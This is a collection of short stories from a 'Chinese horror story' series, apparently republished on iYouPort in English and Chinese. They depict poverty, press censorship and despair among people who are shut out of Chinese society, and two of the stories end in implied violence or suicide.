I approached her slowly. We leaned against the railing and chatted. From the weather to relationships, from literature to work ideals. The girl looked kind. Because of the wine, I'm full of desire to talk.

"Maybe I didn't work hard enough. Maybe I am really stupid. I have no money, no career, no lover, no sense of belonging. I brought it on myself."

“You are wrong, the relationship between success and talent is little, and it’s more depends on luck. First, you need to be born in the right family, have the perfect growth experience, have the opportunity to get the best education, and root in the upper class soil from the foundation. That way you can have the ability to be valued by society. You also need at least one recommender to hold you up to a higher progressive position at the right time and in the right way. People’s life are in the hands of fate. There are a lot of talented people. There are a lot of people who don’t play to their talent. The world is no better.

“My family has no social status. But I want to make a living with my pen. If you have a chance to publish articles, please consider me.”

“I can see that. But it’s not so easy to make a living out of articles these days. The media likes famous people. Whatever they write, their name is the face of the media itself. No-one is hard to get a foothold in. Your words can only be valuable if you hype yourself and succeed first.”

I know all that. If not, I wouldn’t need to rent clothes to attend such a flattering dinner. What else could I do? I smoked with my head muffled . The girl suddenly and mysteriously approached me and whispered, “How is your relationship with Mr. Yu? Can you recommend a position for me?”

What a strange question. There is no “relationship” at all. All I can say about the moguls is “knowing” who they are. The girl is a little disappointed. “I thought you were a canary too.”

What is canary? “Toy-boy. You are really a baby yet. Mr. Yu is a bisexuality, he has a lot of toy-boys around him. If you want to please him, you have to work harder.”

Shocking like thundering. I don’t know what the girl said afterwards, or how I walked back. Anyway, I just kept drinking in the rest of the time, and there was only tinnitus in my head.

I don’t know who offered to send me back, and the wine dizzy woke up by half. I tried my best to refuse politely. I couldn’t let them see

the shabby rental house.

Shaking and spinning, I began to feel where my feet were. The night had dissipated much of the summer heat, but I could not stop the perspiration. The upset words in the dinner went all the way to the top, but they could not be spat clean.

A hundred meters from my rental house, I was stunned – my luggage was stowed at the gate, with two urns beside it. Needless to say, I was found again, blown out again. It's swirling. I held up a tree, sickened constantly, but could no longer spit anything out.

The door was closed and I didn't dare to knock it. I have not paid the rent for the last month. Maybe it would save my money to walk away now. But where? I suddenly found out that I have no destination in this huge city.

The urns were heavy. It was just like carrying my father and my mother on my back. I couldn't move any more in the empty street. My tears were pouring down. My vest was wet. I sat down on the side of the street. When I looked up, it's the billboard that said, "Just do it."

Just do it.

In a flash, I finally knew the answer.

The blood was boiling. Yi took off his rented suit, threw his luggage aside and dug a hole in the lawn with his bare hands until it was enough to put down two urns.

He clapped his hands with the bloody soil, and smiled with relief. He turned and took the long knife from his bag, clasped it in his hand, and strode toward the rented room. "Mom and Dad, here I come."

中文版：《Chinese horror story E3: "去做就对了"》

原文

Chinese horror story E3: “去做就对了” - iYouPort

故事

海地的奴隶们认为自杀是摆脱悲惨命运的唯一出路，通往自由的路。数以千计的奴隶都采取了这个方法，尽管他们相信，由此一来自己将变成永远不死的僵尸…… 绝望的尽头是什么？这个社会最浓郁的情绪就凝聚在它的边缘。

- ***Half the world is redoing its kitchens, the other half is starving***

「图」

「图」

“小毅，今晚涮锅，来不来，有美女哦”，微信群里余大老板正在招呼我。这种天气涮锅？有钱人的世界真是难以理解。

当时我正坐在地上，这样能感觉凉快些。近年来的天气越来越热了，全球都在变暖，我比北极熊更幸运些在于，这间狭小的出租屋还不至于在骄阳下融化掉。

认识土豪余老板是个偶然的机会，当时他在网上打一场舆论战，对方雇佣了水军围攻他和他的几个少的可怜的支持者，我闲的没事就帮他说了些公道话，却没成想他事后主动联系我了，还拉我进了他的群。

他的朋友都是些和他一样的有钱人，我这种草根简直受宠若惊。为了能在其中混下去，报身份时我胡编了一个国际大企业的名号，没想到他们还真信了。

更没想到的是，这个谎撒出了一大堆的负担。就如你所知道的，大佬们出手阔绰，随便甩个红包就是几百上千，甩得出来说话才有底气，别人才爱搭理你，我哪儿来那么多钱摆谱，于是只能像个边缘户一样，经常装着不在线。

更要命的是，找工作的事已经无法托付他们帮忙了，如果他们知道我一文不名，肯定会第一时间把我轰走。

一批批的简历投出去了，无一不石沉大海，而漫长的等待就如没有尽头的黑夜，令人窒息。不管怎样我都回不去了，爸妈走了、老屋被拆了、女人离我而去，已经什么都没有了，不能连面子一起赔进去。

电视机终于在一片雪花后进入了正常状态，二手市场的老古董了，不停的抽风，下一次不知会是什么时候。不知道。一切都是未知的，就像没有计时器的定时炸弹，你能感觉到死亡正在临近，却不知道自己还剩下多久。

电视里播放着烹饪节目，每天的饭点儿都是这样，就好像电视台的编导们知道这个社会上还有很多和我一样挨饿的家伙，专门给我们预备的。我用一把长刀把干馒头切成薄片，一本正经地嚼着，目不转睛的盯着屏幕上色泽鲜艳的鱼虾肉蛋。

一回手，碰到了床底下冷凉的骨灰盒。

“我儿子是在大城市谋饭的”。老妈活着的时候我是她最大的骄傲，在那个穷山恶水的老家，“大城市”就如同你们心目中的美国一般金光闪闪，遍地都是人民币。他们不会知道，这间只有一扇小窗的、5平米大没有空调的出租屋，在40度的高温下是个什么样的炼狱。

“你得学门手艺傍身才能活下去”。当年我选中文专业的时候，老爸这样哀叹道，在他眼里，码字儿算不得什么手艺，知识分子早晚会挨饿，甚至挨打，被关进牛棚。他们那代人受罪太多了，这种想法不是太难理解。当我的文章第一次变成铅字印在杂志上时，他的眼角还是盈满了激动的热泪。他为我高兴，也许是这世上最后一个能为我的才学而感到高兴的人了。

幸亏老爸活着的时候不会用电子设备，没上过网，否则他肯定会因担心自己的儿子被浮躁浅薄的新媒体文字世界排挤，而寝食难安。“想那么多干啥，开心最重要”，大佬们喜欢这么说。在他们眼里，钱能解决的事都不是事儿，可对于没钱的人来说，钱几乎就是一切。

文字虽然不值钱了，但那些大佬还是喜欢有文采的年轻人，就如同喜欢在自己的豪华公寓里弄上一间大书房、堆上满墙的书籍，却根本不读，一切都是摆设而已。“文化人”依旧是夸奖的用词，但论维生，光靠知识文化是没有出路的。没钱就没面子，没面子就没朋友，没朋友就没出路，没出路就没钱。

我不能进入这个死循环。绝不能。至少要先让爹妈入土为安，墓地那么贵，我只能抱着骨灰盒到处躲房东，万一被他们看到，就会以“晦气”为由把我轰出来。

烹调节目结束时，我的馒头也吃光了。我把刀放回行李包，站起身来走到窗边。窗外是一幅巨大的广告牌，上面写着耐克鞋的广告语：“去做就对了”。这块锈迹斑斑的牌子此时看起来似乎有种光彩夺目的感觉。

我又摸了一把冰凉的骨灰盒，套上背心，顶着烈日出门而去。

服饰出租的店铺埋在阴暗的巷子里，老板趴在柜台上打瞌睡。几年前，这间小店铺的生意还蛮兴隆的，似乎如今不行了，大概发财的人越来越多了吧，呵呵。这里有很多看起来高档的服饰，专门为了像我这样的没钱没地位的人面试、饭局、相对象什么的，而预备的面子。用租来的面子装逼。如果你认为这是个讽刺，只能说明你根本不懂这个社会，或者没做过底层。

我租了一套休闲西装，一天50块。似乎码有点大，我枯瘦的胳膊在袖管里荡来荡去。老板无奈的摇摇头，“年轻人要多吃点东西，身体要紧”。难道我不想吗，50块是我两天的伙食费啊。今晚的涮锅我要补回来。

“余总盛情，岂能推却”，回去的路上，我打了几个字在群里，转瞬便引来一片啧啧声，“文化人儿说话就是好听”。每当这个时候我都会陷入一个自嘲和自傲夹击的黑洞中。

我把“孝”字的黑色袖章摘下来，轻轻放进抽屉，爸妈，给我点好运气吧……

原来不是我想象中的刷锅子，比那要豪华得多，尽是些我没见过的菜品，酒瓶子上都是洋文。冷飕飕的空调风吹出了我一身鸡皮疙瘩。

大佬们推杯换盏，不停的和几个年轻女人眉来眼去，而我就像个闲置品，无处安放。这样下去我很难亲近大佬们，烦闷如啤酒沫一般涌上心头。一个戴眼镜的姑娘和我差不多，一晚上没怎么说话，也许是同病相怜，她开始凑近我身边。

“你在哪儿工作？”她一上来就问到我痛处了，虽然只是句简单的搭讪。“嗯，我刚离职，打算换换环境”。“挺好啊， 你是学什么专业的？”

“小毅是中文专业高材生，文化界新秀，哈哈”，余老板插话。眼镜姑娘轻笑着，一群人开始起哄：“来，为新秀干一杯！”

余老板让我来说祝酒辞，我顺口念了句李白的将进酒，又是一片无厘头的喝彩，就像在微信群里那样，我至今搞不懂这些大佬究竟是真心爱文化还是拿知识分子寻开心。

饮罢，主角轮到了那个即将移民的大学教授。这家伙看起来文质彬彬的，却没想到异常的猥琐，他居然在一群人面前兴致盎然的宣称：“我教过的女学生一个比一个嫩，她们每个人的大姨妈哪天来，我都了如指掌”。

真恶心。这种人居然还有脸自称教授。我喝了口闷酒，还没等全咽下去，居然碰上了更恶心的——一浓妆艳抹、据称是硕士在学的姑娘搭话道：“被自己的教授宠爱是莫大的荣幸呢”。我被狠狠的呛到了，猛烈的咳嗽引来全场的侧目。

我借口去洗手间，暂时离席，不知是谁在后面喊了一句：“新秀，顺便帮我买包烟，万宝路就行”。

妈的，想男人想疯了去站街啊，读的什么硕士。洗手间里，我对着镜子咒骂着，眼泪禁不住扑朔朔的往下掉。他们不知道，我的初恋女友就是因为我买不起 iPhone 给她，赌气和教授上床的。她是我用心爱过的唯一一个女孩。现在想起来，那究竟是不是赌气，我已经难以判断了。

洗了个脸，却没找到面巾纸，我胡乱抹了一把，就这么湿漉漉的走了出来。卖烟的服务台附近遇到了刚才搭讪的那个眼镜姑娘，她朝我微微笑着，晃了晃手里的万宝路，示意我已经买好了。难道她看出我穷了？一阵尴尬。

我慢慢走近她，我俩靠在栏杆上聊起来。从天气到人际关系，从文学到工作理想，这姑娘看上去蛮亲切的，接着酒劲儿，满满的倾诉欲望涌上了额头。

“也许是我努力不够，也许是我真的很蠢，总之没钱没事业没爱人没归属感，都是我自找的吧”。

“你又错了，成功与天赋的关系其实很小，更多要靠运气，首先你需要出生在正确的家庭，拥有完美的成长经历、有机会接受最好的教育，从基础上就根植于上流社会的土壤，这样一来带着光环的你才能

拥有被社会重视的能力，你还需要至少一个伯乐，在正确的时间、用正确的方式把你捧上更高层的进步位置。人的一生都捏在命运的手里，有天赋的人大把，被埋没的也是大把，这个世界不过如此”。

“我家里没什么社会地位，但我想用自己的笔维生，如果有约稿的机会，还请想着点我”。

“看得出来，不过这年头想吃文化饭可没那么容易。媒体喜欢的都是有名气的人，不管他们写出什么样的东西，他们的名字本身就是媒体的面子，无名之辈是难以立足的，除非你先炒作自己并成功，你的文字才能有价值”。

这些我都知道，若非如此，我也不至于租衣服装逼来出席这般只为了吹捧的饭局。可还能怎么办呢？我闷着头抽烟，眼镜姑娘忽然很神秘的凑近我，低声说：“你和余老板关系怎么样？能不能帮我荐一个位子？”

好奇怪的问题。“关系”根本谈不上吧，对于那些大佬，我只能说“知道”他们是谁而已。姑娘有些小失望，“我还以为你也是画眉鸟呢”。

画眉鸟是什么？“就是男宠啊，原来你真是个雏儿，余老板是有名的男女通吃，他身边的小鲜肉一大把，你要是想讨他开心，要多卖点力气才行呢”。

五雷轰顶。我不知道眼镜姑娘后面说了些什么，也不知道自己是怎么走回去的，总之剩下的时间里我只是在不停的喝酒，脑子里只有一片耳鸣般的嘈杂声。

不知是谁主动提出要送我回去，酒晕立刻被吓醒了一半，拼劲全身力气委婉的拒绝了，我可不能让他们看到那个简陋的出租屋。

我三步一摇五步一吐，渐渐能感觉到自己的脚在哪儿了。夜色让暑气消散了许多，而我却止不住的盗汗淋淋，酒局上那些扎心的话一个劲儿往上顶，却怎么都吐不干净。

离出租屋还剩百米远的地方，我一下子愣住了 —— 行李被堆放在大门口，旁边搁着两个骨灰盒。不用说，再一次被发现了，再一次被轰了出来。天旋地转，我扶住一棵树，不停的干呕，却再也吐不出东西来。

大门紧闭着，我不敢去敲，最后一个月的房租还没付，也许现在走掉还是省了的。可走到哪儿去呢？一瞬间忽然发现，这个偌大的城市居

然没有我的目的地。

骨灰盒好沉，我就像背着爸抱着妈在空无一人的街道上寸步难移。泪水哗啦啦洗脸一样往下掉，背心都湿了。我干脆一屁股坐在了便道牙子上，抬起头来时，面对的正好是那块广告牌：“去做就对了”。

去做就对了。

一瞬间，我终于知道了答案。

浑身的血沸腾起来，小毅脱掉了那件50块租来的西装，行李扔在一边，徒手在草坪里刨起坑来，直到足够放下两个骨灰盒。

他拍了拍手上的和着血水的泥土，露出了一抹释然的笑容。转身从行李包中摸出那把切馒头的长刀，紧握在手上，大步朝着出租屋走去。“爸妈，我来了”。〇

中国恐怖故事系列均改编自真实故事；故事中呈现的观点完全取自现实，不代表本网立场

原文

Chinese horror story E4: Icarus - iYouPort

故事

“This was worse than a retched nightmare. It was the nightmare of real things, the fallen wonder of the world”

「图」

「图」

When Xu called, I was telling my son a bedtime story, Greek mythology. At the age of four, I still had to tell the story before he could fall asleep, and my wife said that on my night shift, my son would spend half the night before sleeping.

I didn’t hurry to answer the phone until I watched my son fall asleep. I called Xu and said, “What’s the hurry? Don’t you know what time it is?”

Xu didn’t say anything, asked me out to have a kebab for supper. Why suddenly so mysterious, it’s not like him. Xu is a veteran in the editorial office, supposedly my senior, but has been frustrated and worked for most of his life as a ordinary reporter until now. And I have become the director of the Ministry of Information.

Xu ordered a bottle of wine, and each of us filled a paper cup. So we sat under the arbor on the side of the street and drank it. “Something is going to happen,” Xu said, after two drinks.

I snickered. After all these years in the media, you are still so easily surprised. No wonder he couldn’t get promoted. But after a while, I couldn’t snickered any more.

He told me that next week our newspaper office would be taken

over by the Propaganda Department of the CPC's Committee of the city. The president had submitted his resignation report, which should be approved soon. The new president was the brother-in-law of the Propaganda Minister; young editors on the night shift don't even bother to work today, all huddled together to discuss how to revolt… Xu said, conveniently filled a cup of wine.

I am a bit surprised. What's happening? I was just on the night shift for half the month. How did we get taken over all of a sudden? In the future, will international news articles be taken to the Foreign Ministry for review like the Xinhua News Agency? The president will resign without telling everyone? Will a guy like me, who is not a member of the party and does not have a red background, be demoted to the mailroom?

"It's hard to anticipate," Xu had another drink, "I'm going to quit my job and do something on my own."

No no, Xu, if you leave, I have no senior people then. The situation may not be as bad as you think, we are an old media. We have a reputation for half of China. We won't turn into Xinwen Lianbo all of a sudden. You can rest assured that this department won't go bad as long as I'm still on the job!

I clapped my chest to swear, Xu sighed. He nodded and shook his head again. The rest of the supper was left to the kebab, and no one spoke. I murmured in my mind, do I want to do something myself, if something happens…

I went home and said to my wife, she was angry. She complained that I was bewitched by Xu. "Our family can not compare with him." Yes, after the marriage my wife had three miscarriages, the child is not born easily. In order to protect the pregnancy, she resigned after pregnancy. As a result, the child was four years old, she still did not find a job. The family rely on me alone, including the payment of the mortgage, the monthly income is basically no surplus. Even the baby's milk powder is bought by the mother-in-law.

I promised my wife I wouldn't quit. I wondered what to do with the Propaganda Minister and his brother-in-law.

Before I could meet the new president, something really happened. There were serious rear-end collisions with two trains, and several carriages fell off the bridge, causing heavy casualties. I didn't leave work on the night of the accident. The next day was my annual break, and I swap it with others. I was worried that the newbies wouldn't be able to cope with such a great deal of news.

I brought a couple of young reporters with me overnight. We were on the phone for dozens of hours. The entire editing room was like a boiling pot. Everyone's face was red and sweaty.

'Samos has a very beautiful island, called Icarus Island. The name comes from the Greek mythological character Icarus, the son of the craftsman Daedalus. The king locked them in the maze. His father made a pair of wings with wax for him, hoping he could fly out of the maze…' I told my son the bedtime story in my mind.

I didn't come home for five days. We made six full-page reports, severely holding accountable those baffling rescues. As ever, this was the most exhausting and empowering time for me. As a journalist, I knew my duty.

I lit a cigarette when I signed, savoring our achievements. Xu really shouldn't leave. It's only at this time that people like us can feel dignity, existence and value.

But an hour later, everything changed.

Newspapers that had just been delivered to the printing press were pulled back. The propaganda minister's brother-in-law came to the newsroom late at night for the first time since he took office. And the report we worked hard on for five days was went into the bin because of his ban.

A dizzy, I helped the wall out of the room. Before I reached the toilet door, I fell on my back with a soft leg… only the body continued to sink, sinking, like falling into the sea, endless sinking.

…

When I woke up, I found myself in a hospital bed. I had tubes

strapped to my arms and my wife dozed off on the couch beside me. Out of the door was crowded with running pulley stretchers and patients' families screaming with their mouths open. Strange enough, I can hear no sound.

Everything in front of me was like a silent movie. It was all action, but there was no sound. What was that? Am I dreaming? I was trying to recall the last scene in my mind. The manuscript, the computer, the hallway, the brother-in-law's face… suddenly a nausea, I picked at the edge of the bed and vomited wildly.

When I woke up again, the doctor handed me a diagnosis certificate. It said my name. The condition was "Sudden sensorineural hearing loss (SSHL),". Deafness?! Isn't this in a dream? Open up your voice and I want to hear you!

The doctor touched my shoulder and motioned for me to be quiet. He turned to take a whiteboard and wrote on it, "Be calm and steady in mind to help you recover," adding that my condition was the result of intense emotional stimulation over a short period of time.

I can see my wife's tears, but I can't hear her cry.

I don't know how many days of injections, this horror silent film did not change. I lay in the stretcher, kept moving between various check-up rooms, only to see the pale machines and walls, and the icy stainless steel supports.

The doctor stopped coming to see me, changed nurses, and began to teach me how to speak. Touch my neck with hands, feel the vibrations, adjust the volume, and then remember the strength of vocal cords to help me speak without being too loud or too small to be heard.

Before I was discharged from the hospital, Xu brought the news that I had been fired. It was said that the brother-in-law thought I was "no longer fit for work". This was more irritant than the relegation to the mailroom that had been envisaged.

I suddenly found that everything in life has changed. A few days

ago I was drinking with Xu, but in retrospect it seems like a long time ago.

The crisis ensued. My job was gone, my family's sole source of income was cut off. Kindergarten tuition was due in a few months, bills for electricity, water, gas and Internet were flying in like snowflakes. My wife was crying every day, and even when I hid in the toilet, I could tell she was crying.

I feel terrible. I don't know what to do.

After all these years in media, I found that I couldn't do anything but write anymore. Writting. In order to live, for my children and my wife to live, I turned on the computer.

I tried my best to write, real stories popping up on paper. I taunted perverted censorship, attacked the existence of propaganda departments, and called attention to the survival of the media. I shut myself up at home, writing day and night, and finally finishing a book.

I thought I had built up enough contacts in the media over the years to publish the book successfully to pay for my children's tuition once I got the royalties. But I did not expect that many emails sent, most have not replied. Only a few old acquaintances reply actually said: "Now the restrictions are very tight, such a book can not be published."

I contact Xu on the Internet, would like to ask him for help. Though he has resigned, he should be able to request to more people with twice the length of his service as I have.

"No way, don't think about writing those things again," said the Xu. "I'll go to you later, let's have a drink again."

I have not done anything wrong, although the censorship has been all along, but I absolutely do not write unconscionable words. I used to play a few tricks in order to live, but I would never do anything unprofessional, while Xu said that nowadays even silence is not enough. What they want is your active support and praise. This is shameless, is trampling on the dignity of the news.

Why don’t let me tell the truth? Why can’t I even listen! How many resumes were cast, no news at all, old acquaintances introduced the editorial work, the other side actually replied that “You are deaf. How can you apply?”

The greatest skill of this world is that there are so much kinds of ways to kill you.

I stumbled into the kitchen, felt out half a bottle of wine, gulped and drained; the contents of my chest were finally turned over, and before I could run to the toilet, I spat directly on the floor of the corridor.

My son took the story book of Greek mythology, shook my arm, and kept talking to me, but I couldn’t hear a word.

“Do you want to hear a story? Daddy will tell you. Don’t be afraid. Daddy’s all right. Let’s tell the story.”

Icarus flew and flew, he flew higher and nearer to the sun, his waxy wings melted and fell into the sea, dead…

My son was crying, swinging his tiny hands at me, and I tried to get up and pick him up, but he sprinted into the room and slammed the door shut. Even my son didn’t want me, because I was deaf? Why did they take everything from me just because I wanted to get out of the maze?

Xu came and I saw him. I saw his sad face, just as I was flying out of the balcony.

中文版：中国恐怖故事 E4: 伊卡洛斯

原文

Chinese horror story E4: 伊卡洛斯 - iYouPort

故事

“This was worse than a retched nightmare. It was the nightmare of real things, the fallen wonder of the world”

「图」

「图」

老徐打来电话的时候，我正在给儿子讲睡前故事，希腊神话。四岁了，还是没改掉听故事才能睡着的臭毛病，还必须是我来讲才行。妻子说，我上夜班的日子里，儿子会闹上半宿。

我没急着接电话，直到看着儿子睡着了，我给老徐拨了过去：“啥事这么着急，你也不看看都几点了？”

老徐什么也没说，约我出来夜宵撸串。怎么忽然神经兮兮的，这可不像他。老徐是编辑部的老人儿了，按理说是我的前辈，可惜一直不得志，干了大半辈子小记者，直到如今还是个小记者。而我已经成了时政新闻部的主管。

老徐叫了瓶纯粮，一人一个纸杯，我俩就这么坐在街边的凉棚下喝了起来。“要出事了”，干闷了两杯后，老徐说。

我心里窃笑，干了这么多年的媒体，居然还这么一惊一乍的，怪不得升不了职。但少顷，我便笑不出来了。

他告诉我，下周我们报社就要被市委宣传部接管，社长已经递交辞职报告，应该很快就会批准，新社长是宣传部长的小舅子；今天夜班的年轻编辑们根本无心干活，都挤在一块儿商量着怎么造反……老徐说着，顺手又闷了杯满的。

我有点诧异，才刚值了半个多月的夜班没听到啥动静啊，怎么忽然间的就收编了？今后国际新闻的稿子要不要跟国社那样被拿去外交部过审？社长辞职都不跟大家打个招呼？我这种不是党员、又没有根正苗红背景的家伙，会不会被撸到收发室去？

“都不好说啊”，老徐又闷了一杯，“我打算辞职了，自己干点啥”。

别啊，老徐你要是走了，我这边都没资深人士了。状况不一定像你想象中的那么糟糕，本社可是老牌媒体，享誉半个中国的，不至于一下子就变新闻联播。你放心，只要我还在岗，本部门就不能让它走板！

我拍着胸脯发誓，老徐叹了口气，点点头，又摇摇头。这场酒的后半段就光剩下撸串了，谁也没说话。我心里嘀咕着，要不要也自己干点啥呢，万一出什么状况……

回家后和孩子妈一说，她就生气了，埋怨我被老徐蛊惑，“咱家的情况可不比他”。说来也是，结婚后老婆流产过三次，要这个孩子可不容易，为了保胎，怀上后干脆就辞职了，结果却是，孩子四岁了，也没找到正经工作。全家靠我一个人养着，包括还房贷，基本是月月光，奶粉钱都是丈母娘那边掏的。

我答应孩子妈不会辞职。心里盘算着怎么应付宣传部长，和他小舅子。

还没来得及和那个新社长打照面儿，就真出事了。两列火车发生了严重的追尾事故，几节车厢从桥上掉了下去，死伤惨重。事发当夜我干脆就没下班，次日赶上我一年一次的轮休，也干脆和别人换了，就是担心目前人心惶惶的环境下，新手们应付不来这么大的消息。

我带着几个年轻记者连夜赶稿子，数十个小时不停的电话，整个编辑室想煮开了的锅一样，每个人脸上都是通红的，汗流浃背。

萨摩斯州有个很美的小岛，叫伊卡洛斯岛。岛名来自希腊神话中人物伊卡洛斯，他是工匠代达罗斯的儿子。国王把他们父子关在了迷宫里，他的父亲用蜡制作了一双翅膀给他，希望他能飞起来，逃出这个迷宫……我在心里给儿子讲着睡前故事。

五天没回家，我们做出了六个整版的特稿，严厉问责那些令人嗔目结舌的援救工作。与以往一样，这是我最疲惫不堪、也是最深感力大无穷的时刻，做为新闻人，我知道自己的职责。

签版时我点了根烟，细细品味着这一大堆的成绩，老徐真的不该走，

要知道我们这种人也只有在这种时候能感觉到尊严、存在和价值。

但一小时后，天翻地覆了。

刚刚被送到印刷厂的版面又被撤了回来，宣传部长的小舅子带着一干人马深夜来到编辑部，这是他上任后的第一场走穴。而我们辛辛苦苦做了五天五夜的特稿，他一口禁令，就全部进了垃圾桶。

一阵头晕目眩，我扶着墙步出屋来，还没等走到厕所门口，腿一软就仰面摔了下去……只觉得身体不断的沉，沉，像掉进了海里，无尽头的沉。

醒来后，我躺在医院的床上，胳膊上绑着各种管子，妻子坐在一旁的沙发上打瞌睡。病房门口熙熙攘攘，不断跑过的滑轮担架、和张着大嘴哭嚎的患者家属，好奇怪，我的耳朵里却一点声音都没有。

眼前的一切就像一部默片电影，都是动作，却无半点声响，这是怎么回事，在梦里吗？我拼命回忆着脑中最后一个画面，稿子、电脑、楼道、那小舅子的脸……忽然一阵恶心，我扒着床沿疯狂的呕吐起来。

再次醒来后，医生递给我一张诊断证明，上面写着我的名字，病情是“突发型神经性耳聋”。耳聋？！难道不是在梦里？快把声音给我打开，我要听到你说话！

医生摸着我的肩膀，示意我安静，转身拿过一块白板，在上面写着“一定要保持冷静，心态平稳才能有助康复”。他还说，我这种状况是短时间内强烈的情绪刺激造成的。

能看见孩子妈在抹眼泪，我却听不到她的哭声。

不知输了多少天的液、打了多少针，这部恐怖默片没有任何改变。我躺在滑轮车上不停的在各种检测室之间移动，满眼都是苍白的机器和墙壁，冰冷的不锈钢支架。

医生不再来看我，换了护士来，开始教我练习发声。用手摸着脖子，感觉震动幅度，来调节音量，然后记住自己声带用力的大小，以帮助我说话的时候不至于因为声音太大而吓到别人，也不至于声太小让人听不见。

还没等出院，老徐就带来了我已被开除的消息，据说小舅子认为我的状况“已经无法再胜任工作”。这比起当初设想的被撸到收发室的结果，可要刺激多了。

忽然发现，生活中的一切都变了。就在几天前和老徐的那场对饮，现在想起来却有种宛如隔世之感。

危机接踵而至。工作没了，全家唯一的饭碗砸了，几个月后幼儿园就要交学费，水电煤气宽带各种账单如雪片一般飞来，孩子妈天天掉眼泪，就算躲进厕所我也能知道她在掉眼泪。

一口恶气堵在胸口窝里，吞不下，也吐不出。

做了那么多年的媒体，我发现自己除了写字，已经不会干别的了。那就写字吧，为了活下去，为了娃和娃他妈活下去，我打开了电脑。

我拼命的写，一篇篇真实的故事跃然纸上，我嘲讽变态的审查、抨击宣传部门的存在，呼吁人们关注媒体的生存。我把自己关在家里，没日没夜的写，终于写成了一本书。

原以为自己多年来传媒界积攒的人脉，足够顺利出版这本书，拿到版税后就能给孩子交学费了。但没想到，一封封邮件寄出去，大多石沉大海。只有个别老熟人回复却居然称："现在被把持得很紧，这样的书出不得"……

我上网联系老徐，想求他帮帮忙，虽然他已经辞职，但以其比我高出一倍的工龄，能说上话的人应该更多些吧。

"没路了，别想着再写那些东西"，老徐说，"待会儿我去找你，咱再喝一轮"。

我没干过坏事，虽然审查一直都在，但昧良心的话我绝对不写。曾经为了混口饭而选择曲线前进，但绝对不会做违背职业道德的勾当。而老徐却说，如今连沉默都不行的，他们要的是你积极的拥护和歌颂。这是无耻，是践踏新闻的尊严。

为什么不让我说实话？为什么连听都不让我听到！多少简历投出去了，一点消息都没有，老熟人介绍的编辑工作对方居然回复说"你都聋了怎么还能应聘呢？"

这个世界最大的本事就是有各种方法能逼死你。

我跌跌撞撞的爬到厨房，摸出半瓶纯粮，咕嘟嘟几口喝干了。胸口里的东西终于翻了上来，还没来得及奔向马桶，就直接吐在了走廊的地上。

儿子拿着那本希腊神话的故事书，摇着我的胳膊，不停的和我说话，我却一个字都听不见。

“是想听故事吗？爸爸给你讲，别怕，爸没事儿，咱讲故事”。

伊卡洛斯飞呀飞，他越飞越高，离太阳越来越近，他的蜡制翅膀融化了，掉进了附近的海里，死了……

儿子在哭，甩着小手打我，我试着站起来抱他，他却飞快的跑进屋里，砰地关上了门。连儿子都不要我了，是因为我变成残废了吗？为什么要抢走我的一切，就因为我想摆脱这个迷宫？

老徐来了，我看见他了，看见了他的愁容满面。就在我从阳台上飞出去的那一刻。〇

中国恐怖故事系列均改编自真实故事；故事中呈现的观点完全取自现实，不代表本网立场

原文

Chinese horror story E5：幽灵 - iYouPort

故事

If you reveal everything, bare every feeling, ask for understanding, you lose something crucial to your sense of yourself. You need to know things that others don’t know. It’s what no one knows about you that allows you to know yourself.

「图」

「图」

“你怎么一晚上都不跟我说句话呢，不喜欢我吗？”，一炮完毕，姑娘很不开心的瞧着我。

我点了根烟，眯起眼睛，”这几天有点累，不想多说”。“你不是北京人吧？”姑娘听罢忽然来了兴致，翻身爬起来，瞪大眼睛盯着我的脸看。

一阵反胃。我起身下床向卫生间走去。“喂，帅哥，下次什么时候约啊？”我没搭理她，连人家心烦都看不出来，还下次你妹。

回国半个月了，我每天晚上都约一炮，只是为了不回家而已。回家干什么呢，被他们当成装饰品拿出来晒吗？还是听那些沁满腊肉味儿的湖南口音？

最可怕的是，我自己也躲不开这种让人脊背发冷的口音，只要讲中文，不出几句话就会被人认出原籍来。前天叫 Uber，我还是拼命强调了儿化音才读出的“大栅栏儿(dàshila’r) ”，但仍被司机抓到了把柄：是湖南老乡啊……于是一路上他不停的操着湖南土话兴致勃勃的与我交流，结果是，我险些吐在他车上。

只要在中国，非万不得已我绝会不开口说话，吃饭选高级西餐厅、开房去五星级国际宾馆，绝不是摆谱败家，只是因为懒得说中文，而只

有那些地方的服务员英文还过得去。在街上，我大声用英语和人吵架，管他们是不是能听懂；在饭店里，如果服务生不懂英文，我会直接向经理投诉；迫不得已在家里时，就24小时戴着耳机，循环 pink floyd。

我相信自己是没有过去的人。过去就像一个包袱，满满的罪和累，恨不得马上扔掉，一刻也不能停，一丝回忆都承受不了。我希望自己能微笑着对所有人说，我就是从昨天走到今天的，没有前天，它们不存在。

可我恨死了自己的口音，它就像一个幽灵，死死缠绕在我身上，窒息，恐惧，没有尽头的深渊。湖南——毛泽东——the devil。这个国家里到处都是它的幽灵，出租车上、街旁店铺里、校园内、广场上，还有我那个家。

十几岁的时候随父母来到北京，却至今没能学到正宗的北京话，根本就没有机会学，你会被各种阻止，他们恨不得把原籍的标签缝在你脸上。听起来好笑吗，并不是。我父母都是体制内的人，湖南口音在体制内似乎是一种身份地位的象征，似乎代表着根正苗红和无比的忠诚，虽然人们并不会这么告诉你，但为什么湖南籍的公务员坚持不改口音呢？他们引以为荣。

就像很多湖南人引毛泽东为荣，他们对毛泽东简直是神一般的敬仰，就像我爸那样。别人家过年拜财神，我家也拜，但同时要拜毛泽东，他们认为毛泽东能保全家人的平安。很多人把毛泽东的头像挂在汽车里、贴在新开张的店铺墙上，我家则是摆在书房和卧室里，厨房都可以一周不打扫，毛泽东的脑袋倒是从来都擦得油光鋥亮。

我不敢在家睡觉，那张阴森森的大脸能进入梦境，它张着血盆大口，碧面獠牙，随时都能咬断我的脖子。即便醒着，稍不留神那团黑雾就会偷袭过来，附着在我身上、吸走我的灵魂，就像“权力游戏”里面红袍女 Melisandre 生下的那个鬼魂。

在家里，我不敢对毛泽东发表任何看法，随之而来的肯定是一顿拳打脚踢，他们说，是毛泽东带给了全家富贵荣华，是毛泽东让我爹妈功成名就，是毛泽东供养我出国留学！我一直以为我爸是个疯子，比他那个当红军的舅舅更加的神经错乱。我爷爷奶奶从年轻时就经常吵架，为避免被误伤，我爸小时候大半时间都是在他舅舅家里度过的，也许他的毛粉性质就是从那会开始染上的。我奶奶说，那舅舅以前也是个洋粉，看外国小说、穿美国军装，后来为了谋口饭吃才参加红军的，衣锦还乡却变成了神经错乱的毛泽东迷，还把我爸给毁了。

